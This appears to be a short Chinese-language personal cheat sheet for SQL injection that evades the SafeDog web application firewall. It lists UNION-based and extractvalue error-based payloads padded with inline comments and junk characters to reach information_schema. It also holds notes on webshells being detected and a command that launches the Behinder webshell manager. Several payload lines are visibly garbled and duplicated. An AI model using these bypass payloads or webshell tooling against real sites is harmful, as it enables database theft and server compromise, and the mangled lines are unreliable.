内联注释过安全狗
http://www.sqli.com/Less-1/?id=-1%27unionselect%201,user(),3%20--%201
核心就是绕过information_schema.schemata，这里采用的方式是–+ 填充垃圾字符 设置fuzz参数点 /-@
−−−−−∗/填充垃圾字符设置fuzz参数点/−@%^&()-+
SELECT * FROM users WHERe id=‘-1’ union select 1,schema_name,3 from information_schema.schemata limit 1,1 – 1
schema_name
select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
?id=1’ and////substr((select table_name from////–+/%0Ainformation_schema.tables where table_schema=database(//%20–%201
and extractvalue// − − − − − ∗ / ( 1 , c o n c a t ( 0 x 7 e , u s e r / ∗ / -----*/(1,concat(0x7e,user/*/ −−−−−∗/(1,concat(0x7e,user/∗/-----/())) – 1
"可以过安全狗
x==
本质发送畸形包
连接不上小马
-
小马被杀了
-
连接的过程中流量被杀了
“java” --module-path “/home/kali/Desktop/Behinder_v2.0.1/behinder_v30/javafx-sdk-11.0.2/lib/” --add-modules=javafx.controls --add-modules=javafx.fxml --add-modules=javafx.base --add-modules=javafx.graphics --add-modules=javafx.web -jar ./Behinder.jar
